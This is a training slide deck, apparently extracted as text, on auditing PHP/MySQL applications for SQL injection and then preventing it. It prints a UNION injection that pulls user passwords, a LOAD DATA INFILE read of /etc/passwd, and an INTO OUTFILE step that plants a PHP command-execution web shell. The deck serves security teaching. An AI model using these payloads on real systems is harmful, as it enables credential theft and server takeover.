Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
Information Security Training Web Application Code Auditing and SQL Injection ©Copyright Justin C. Klein Keane <[email protected]> Vulnerability Assessment Assessments can vary in depth Surface assessments Full code audits What are you looking for? A vulnerability is not necessarily a design flaw. ©Copyright Justin C. Klein Keane <[email protected]> Understanding Threats Threat modeling is an important process Not necessarily germane to vulnerability assessment Threat modeling deals with the “what” and the “why” of security, vulnerability assessment deals with the “how” ©Copyright Justin C. Klein Keane <[email protected]> Exploits In the “gray hat” context, exploits are synonymous with proof of concept Why develop proof of concept? Helps to gauge vulnerability severity Test ease of exploitability Helps model impact to develop remediation and reaction strategies Proof of concept is demonstrative only, not a weaponized exploit ©Copyright Justin C. Klein Keane <[email protected]> Finding Vulnerability White box testing Gray box testing Reading the code Knowing the applications purpose, having credentials, some code available, etc. Black box testing Penetration testing Attacking the application from the outside ©Copyright Justin C. Klein Keane <[email protected]> Tools Automated tools are useful in each testing scenario Help cut down on manual, repetitive tasks Can produce a lot of false positives Are really only useful when guided by a skilled human ©Copyright Justin C. Klein Keane <[email protected]> Essential White Box Tools PHP CLI for testing expressions and flow Perl for automated code analysis and exploit testing IDE (Integrated Development Environment) for syntax highlighting, easily tracing flow over includes, and spotting dangerous functions Eclipse with PHPEclipse and Remote System Explorer (RSE) is ideal ©Copyright Justin C. Klein Keane <[email protected]> Essential Gray/Black Box Tools Tools to manipulate user supplied input quickly and easily, as well as for automated spider and mapping of target Paros proxy for capturing interactions Firefox Tamper Data plugin for on the fly data manipulation http://www.parosproxy.org https://addons.mozilla.org/en-US/firefox/addon/966 Firefox Web Developer plugin for presentation manipulation (JavaScript, CSS, and Cookies) https://addons.mozilla.org/en-US/firefox/addon/60 ©Copyright Justin C. Klein Keane <[email protected]> Approach Look for vulnerabilities methodically Making a list of vulnerability classes is helpful Start with one class, search the application for all instances of that, then move to next Start with easiest and move to most difficult Some flaws will require a complete understanding of intended program operation so some testing involves simply familiarity ©Copyright Justin C. Klein Keane <[email protected]> Example – SQL Injection SQL injection is an extremely common, and dangerous web app vulnerability Fortunately SQL injection is very easy to find using white box testing All SQL queries must pass through a PHP function to reach the database Isolate and examine all SQL queries to find injection potential ©Copyright Justin C. Klein Keane <[email protected]> SQL Injection Vulnerability whereby an attacker can manipulate a SQL query string SQL injection may not always be exploitable SQL injection can be used for other attacks (such as performing a stored cross site scripting (XSS) attack) ©Copyright Justin C. Klein Keane <[email protected]> PHP & MySQL PHP interacts with MySQL by setting up a connection resource then passing queries through <?php $conn = mysql_connect($server,$username,$password); mysql_select_db($database); $query_resource = mysql_query($sql_statement); while ($row = mysql_fetch_row($query_resource)) { echo $row[0]; echo $row[1]; } msyql_close(); ?> ©Copyright Justin C. Klein Keane <[email protected]> Side Note: Information Disclosure Often times connection details are stored in include files Although not SQL injection, information disclosure could occur Connection credentials (username, password, database) must be stored in an Apache readable format This generally means they're in plain text on the file server ©Copyright Justin C. Klein Keane <[email protected]> Side Note: Information Disclosure <?php $link = mysql_connect('localhost', 'mysql_user', 'mysql_password'); if (!$link) { die('Could not connect: ' . mysql_error()); } echo 'Connected successfully'; [rest of the page] mysql_close($link); ?> ©Copyright Justin C. Klein Keane <[email protected]> Typical SQL Injection Vulnerability <?php $id = $_GET['id']; $sql = 'select * from table where id=' . $id; ?> Application expects a URL in the form http://sitename.tld/index.php?id=5 This is supposed to result in a SQL statement such as: select * from table where id=5 ©Copyright Justin C. Klein Keane <[email protected]> Manipulating the query What happens if an attacker calls the URL http://site.tld/index.php?id=5 union select username,password from user The resulting query becomes: select * from table where id=5 union select * from user This could result in sensitive information being rendered by the application ©Copyright Justin C. Klein Keane <[email protected]> User Supplied Input ANY user supplied input can be used to trigger a SQL injection GET, POST, HTTP_REFERER, COOKIE, RSS input, AJAX resources, etc. Just because it's not easy for a user to manipulate the supplied input does not mean it is safe! Using a proxy like Paros will allow most data to be manipulated quite easily ©Copyright Justin C. Klein Keane <[email protected]> PHP Register Globals Setting controlled in /etc/php.ini http://us3.php.net/manual/en/ini.core.php#ini.register-globals Should become extinct very soon Allows all variables to be referred to without context Makes $_GET['id'] the same as $id Default behavior in PHP 3, many legacy applications require it Should be set to off! ©Copyright Justin C. Klein Keane <[email protected]> Dangers of Register Globals Variable collision Can allow malicious users to arbitrarily set or reset critical variables $_SERVER['DOCUMENT_ROOT'] Encourages haphazard coding Leads to confusion when reading/reviewing code ©Copyright Justin C. Klein Keane <[email protected]> Back to SQL Injection SQL queries operate with the privileges of the user account specified in the mysql_connect() function. If account was set up properly it should have minimal permissions Some configurations could use the MySQL root account though, which has privileges of the MySQL process ©Copyright Justin C. Klein Keane <[email protected]> Some SQL Injection Strategies Expose sensitive data Using JOIN or UNION in injection or simply changing parameters Inject malicious data Manipulate INSERT or UPDATE statements Alter database content Read or write operating system files Using privilege normally reserved for root ©Copyright JustinMySQL C. Klein Keane Manipulate or expose system files <[email protected]> PHP and MySQL Quirks In PHP and MySQL you cannot “stack” queries This means attackers only get one SQL statement to work with This makes exploiting PHP/MySQL SQL injection a lot trickier than with other systems Unfortunately automated tools make this a much lower bar than it used to be ©Copyright Justin C. Klein Keane <[email protected]> Developing MySQL Injections After you spot a SQL statement in PHP code that you suspect is vulnerable: Develop your exploit in MySQL command line Much of the query is static, and it can be tricky to figure out a way to alter the rest of the query Use the most favorable environment you can, exploit development is hard enough already! Keep in mind that just because you can't develop an exploit, doesn't mean vulnerability isn't exploitable! Proof of concept need only demonstrate vulnerability. ©Copyright Justin C. Klein Keane <[email protected]> Advantages of MySQL CLI Easy to develop and repeat queries Good error output lets you know what went wrong Easy access to data and table definitions Removes interference from the PHP application layer ©Copyright Justin C. Klein Keane <[email protected]> Sample DB Target Example tables: mysql> desc content; +-------+---------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+---------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | data | text | YES | | NULL | | +-------+---------+------+-----+---------+----------------+ 2 rows in set (0.02 sec) mysql> desc users; +----------+-------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(30) | YES | | NULL | | | password | varchar(30) | YES | | NULL | | +----------+-------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) ©Copyright Justin C. Klein Keane <[email protected]> JOIN Data Joins must have a mapping value mysql> select * from content STRAIGHT_JOIN users on content.id=users.id; +----+------+----+----------+-----------+ | id | data | id | username | password | +----+------+----+----------+-----------+ | 1 | foo | 1 | joe | p455w0rd! | +----+------+----+----------+-----------+ 1 row in set (0.03 sec) LEFT JOIN, RIGHT JOIN, INNER JOIN, LEFT OUTER JOIN, STRAIGHT_JOIN ©Copyright Justin C. Klein Keane <[email protected]> UNION data UNION is a popular injection trick NB: Union must have the same number of columns mysql> select * from content where id=1 union select username,password from users where id=1; +------+-----------+ | id | data | +------+-----------+ | 1 | foo | | joe | p455w0rd! | +------+-----------+ 2 rows in set (0.03 sec) ©Copyright Justin C. Klein Keane <[email protected]> PHP/MySQL Injection Injection attacks are largely dependent on the static portions of the query being manipulated Note injection points and static query data in the following injectable statements: select * from user where user_id = $id update user set username='$name', password=md5($password) where id = $id ©Copyright Justin C. Klein Keane <[email protected]> Compound Queries Although you can't “stack” queries in PHP/MySQL, you can issue compound queries Queries restrict what you can do You can't alter the SQL prior to the injection point You can comment out SQL after the injection point ©Copyright Justin C. Klein Keane <[email protected]> INFILE and OUTFILE Special that are usually only associated with privileged accounts Can read/write to the OS with the privileges of the MySQL server ©Copyright Justin C. Klein Keane <[email protected]> INFILE Example mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data); Query OK, 35 rows affected (0.00 sec) Records: 35 Deleted: 0 Skipped: 0 Warnings: 0 mysql> select * from content; +----+------------------------------------------------------------------------------+ | id | data | +----+------------------------------------------------------------------------------+ | 1 | foo | | 45 | mail:x:8:12:mail:/var/spool/mail:/bin/sh | | 44 | halt:x:7:0:halt:/sbin:/sbin/halt | | 43 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown | [...] | 71 | named:x:80:423:system user for bind:/var/lib/named:/bin/false | +----+------------------------------------------------------------------------------+ 36 rows in set (0.00 sec) ©Copyright Justin C. Klein Keane <[email protected]> OUTFILE Can be useful when query doesn't return data directly Can be used to write data to a web accessible location Can be used to write files that can later be read with INFILE injections Cannot be used to alter an existing file ©Copyright Justin C. Klein Keane <[email protected]> OUTFILE Nastiness [jukeane@topsail ~]$ ls -latdr /var/www/html drwxrwsrwx 36 apache jukeane 4096 2009-06-04 08:30 /var/www/html/ [jukeane@topsail ~]$ mysql -u root -p p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. mysql> select * from content into outfile '/var/www/html/passwd.txt'; Query OK, 36 rows affected (0.00 sec) mysql> select '<?php echo system($_GET[\'cmd\']);?>' from dual into outfile '/var/www/html/backdoor.php'; Query OK, 1 row affected (0.00 sec) mysql> exit Bye ©Copyright Justin C. Klein Keane <[email protected]> OUTFILE Nastiness Cont. [jukeane@topsail ~]$ cat /var/www/html/backdoor.php <?php echo system($_GET['cmd']);?> [jukeane@topsail ~]$ cat /var/www/html/passwd.txt 1 foo 45 mail:x:8:12:mail:/var/spool/mail:/bin/sh 44 halt:x:7:0:halt:/sbin:/sbin/halt ©Copyright Justin C. Klein Keane <[email protected]> Useful Tips: Information Schema Information Schema is a view to database metadata Can be used to enumerate database data such as table names, column names and column types Only information for which the user has privileges can be accessed ©Copyright Justin C. Klein Keane <[email protected]> Information Schema Example mysql> select table_schema, table_name from information_schema.tables; +--------------------+---------------------------------------+ | table_schema | table_name | +--------------------+---------------------------------------+ | test_data | blog | | test_data | user | | test_data | test | | test_data | content | +--------------------+---------------------------------------+ ©Copyright Justin C. Klein Keane <[email protected]> Blind SQL Injection Term of art used to describe SQL injection vulnerabilities that when exploited do not provide directly visible results to the attacker May simply result in an error Could result in an update that may not be apparent Could result in a timing condition etc. ©Copyright Justin C. Klein Keane <[email protected]> Preventing SQL Injection PHP/MySQL has many strategies for preventing SQL injection attacks ALWAYS validate user supplied data We'll see this theme recurring a lot Create accounts with least privilege necessary to carry out application functionality Limit application to one database, and limit database data to one application! ©Copyright Justin C. Klein Keane <[email protected]> PHP Built In Functionality PHP mysql_real_escape_string() http://us2.php.net/mysql_real_escape_strin g Sanitizes variables for use in a query $username = mysql_real_escape_string($_POST['username']); $query = mysql_query(“update user set username = '$username'”); Enforce variable type: $query = mysql_query('select * from content where id=' . intval($_GET['id']); addslashes() is not and effective way to protect against SQL injection ©Copyright Justin C. Klein Keane <[email protected]> Libraries Using third party libraries standardizes code and frees developers from maintenance PEAR MDB2 ADOdb http://pear.php.net/package/MDB2 http://adodb.sourceforge.net/ Project specific libraries If not used properly libraries can become vulnerable to SQL injection ©Copyright Justin C. Klein Keane <[email protected]> Prepared Statements (Bind Variables) MySQLi (MySQL improved) connection Effectively eliminates SQL injection http://us.php.net/mysqli MySQLi may not always be installed or available Example usage: $conn = new mysqli("localhost", "user", "pass", "database"); $statement = $db_connection->prepare("SELECT * FROM content WHERE id = ?"); $statement->bind_param("i", $id); $statement->execute(); ©Copyright Justin C. Klein Keane <[email protected]> Stored Procedures mysql> DELIMITER // mysql> create procedure ret_content ( -> IN inid INT, OUT outdata varchar(255) -> ) -> BEGIN -> select data into outdata from content where id = inid; -> END;// Query OK, 0 rows affected (0.00 sec) ©Copyright Justin C. Klein Keane <[email protected]> Stored Procedures from PHP <?php $conn = mysql_connect('localhost', 'user', 'pass'); mysql_select_db('db'); mysql_query("call ret_content(1,@retval)") ; $retval = mysql_query("select @retval"); while ($row = mysql_fetch_row($retval)) echo $row[0]; mysql_close(); ?> This is by far one of the safest approaches! Combining stored procedures with application accounts that only have access to execute stored procedures is the best option for preventing SQL injection ©Copyright Justin C. Klein Keane <[email protected]>